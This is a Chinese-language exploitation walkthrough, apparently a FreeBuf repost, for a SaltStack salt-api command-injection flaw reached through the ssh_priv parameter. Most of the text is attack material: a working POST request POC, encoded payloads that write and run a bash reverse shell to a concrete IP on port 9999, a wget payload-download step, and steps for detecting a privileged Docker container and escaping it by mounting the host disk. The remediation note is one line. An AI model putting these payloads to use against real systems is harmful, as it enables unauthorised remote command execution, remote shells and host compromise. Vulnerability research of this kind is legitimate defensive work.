0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
啥是 SaltStack?
参看上面的参考文献
受影响的版本
以下SaltStack版本存在补丁:
3002
3001.1、3001.2
3000.3、3000.4
2019.2.5、2019.2.6
2018.3.5
2017.7.4、2017.7.8
2016.11.3、2016.11.6、2016.11.10
2016.3.4、2016.3.6、2016.3.8
2015.8.10、2015.8.13
##漏洞分析
salt-api REST接口默认使用cherrypy框架,从run接口的实现上可以看出通过client参数动态调用NetapiClient类中的方法。
文中指定代码位置采用以下约定:FileLocation:Classname.method()
salt/netapi/init.py:NetapiClient.run()
low参数为外部传入参数,salt.utils.args.format_call方法将参数赋值给**kwargs。
当client参数为ssh时,动态调用salt/netapi/init.py:NetapiClient.ssh(),该方法未采用任何鉴权。
salt/netapi/init.py:NetapiClient.ssh()
跟进,路径如下:
salt/netapi/init.py:NetapiClient.ssh()⇒salt/client/ssh/client.py:SSHClient.cmd_sync()⇒salt/client/ssh/client.py:SSHClient._prep_ssh()
salt/client/ssh/client.py:SSHClient._prep_ssh()
该方法将kwargs外部可控参数更新值opts变量,该变量可以理解为SaltStack系统的环境变量,使用该变量初始化salt.client.ssh.SSH。
salt/client/ssh/init.py:SSH.init()
priv的值从opts变量中获取,并调用salt.client.ssh.shell.gen_key()方法。
salt/client/ssh/shell.py:gen_key()
该方法中对命令进行拼接,并进行执行。当传入值为|COMMAND>{} #即可执行COMMAND命令。
POC如下所示
请求:
`POST /run HTTP/1.1
Host: IP:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: text/html, application/x-yaml,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/x-www-form-urlencoded
Content-Length: 89
token=12312&client=ssh&tgt=*&fun=a&roster=whip1ash&ssh_priv=aaa|touch%20/tmp/success%3b`
响应:
`HTTP/1.1 200 OK
Content-Type: application/x-yaml
Server: CherryPy/18.6.0
Date: Thu, 07 Oct 2021 01:14:47 GMT
Allow: GET, HEAD, POST
Access-Control-Allow-Origin: *
Access-Control-Expose-Headers: GET, POST
Access-Control-Allow-Credentials: true
Vary: Accept-Encoding
Content-Length: 13
Connection: close
return:
{}`
成功地在docker中的/tmp/目录下面创建了success 文件,怎么查看文件?
docker ps --查看存活的docker容器,找到对应的容器ID
docker exec -it 容器ID /bin/bash -- 进入到容器里面,
cd /tmp/ | ls -- 进入到/tmp/目录下面,查看生成的文件
既然可以任意命令执行,所以就想着写个反弹shell
1.在通过命令创建反弹shell的文件(这里是隐藏文件)
cat .sh
bash -i >& /dev/tcp/远程主机IP/远程主机端口 0>&1
2.在目标机器上使用 wget 命令下载 该隐藏文件(可以在自己的攻击机上开启一个http服务比如apache等,然后使用wget来获取)这里是练习(启动一个apache服务,我的电脑会卡的要命,我就直接偷懒上传上去了),实践证明 wget命令是可以执行的
2.1 因为是任意命令的执行,所以我们首先创建文件,并向文件里面写入反弹shell的语句
使用命令创建文件
token=12312&client=ssh&tgt=&fun=a&roster=whip1ash&ssh_priv=
/|touch%20%20/tmp/.sh%3b
使用命令修改文件内容
token=12312&client=ssh&tgt=&fun=a&roster=whip1ash&ssh_priv=
/|echo%20%22bash%20-i%20%3e%26%20/dev/tcp/47.110.149.76/9999%20%20 0%3e%261%22%20>%20%20/tmp/.sh%3b
反弹shell的语句是:
echo "bash -i >& /dev/tcp/X.X.X.X/9999 0>&1"
2.2使用docker特权模式,进行文件的挂载,(这里是不对的,为了纯粹的上传文件,在该方法中是不对的)
docker-compuse 启动时候默认是没有开启特权模式
2.2.1对于docker-compose中,直接在配置添加 privileged:true ,然后重启docker
2.2.2对于docker 我们在启动的时候
docker run -it --name 容器名字 --privileged=true 镜像ID
2.2.3对于已经启动过程中的修改为特权模式启动的
#cd /var/lib/docker/containers//
#docker stop
#vim hostconfig.json
修改"Privileged":false =>"Privileged":true
保存配置文件
#docker start
2.2.4 特权模式启动的docker
:::danger
以特权模式启动时,docker容器内拥有宿主机文件读写权限,可以通过写ssh密钥、计划任务等方式达
到逃逸。
:::
执行以下命令,当结果等于 "0000003fffffffff" 时,说明是以特权模式启动的docker!!!
grep CapEff /proc/self/status
2.2.5 此时就可以进行docker逃逸了
在容器内部执行 fdisk -l
创建挂载目录
mkdir /mnt/mnt_test/
挂载目录,物理机的硬盘挂载到docker里面的/mnt/mnt_test
mount /dev/vda1 /mnt/mnt_test/
后面把shell文件移动(mv)到指定的位置
3.直接在/tmp/目录下面创建 .sh文件并赋予可执行的权限
给文件赋值权限(如果是去除权限 chmod u-x,g-x,o-x /tmp/.sh
执行shell文件
反弹shell成功!!!
4.修复建议
5.1 由于subprocess的参数shell设置为了True,表示要调用系统shell执行命令,进而造成命令拼接,进行RCE
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)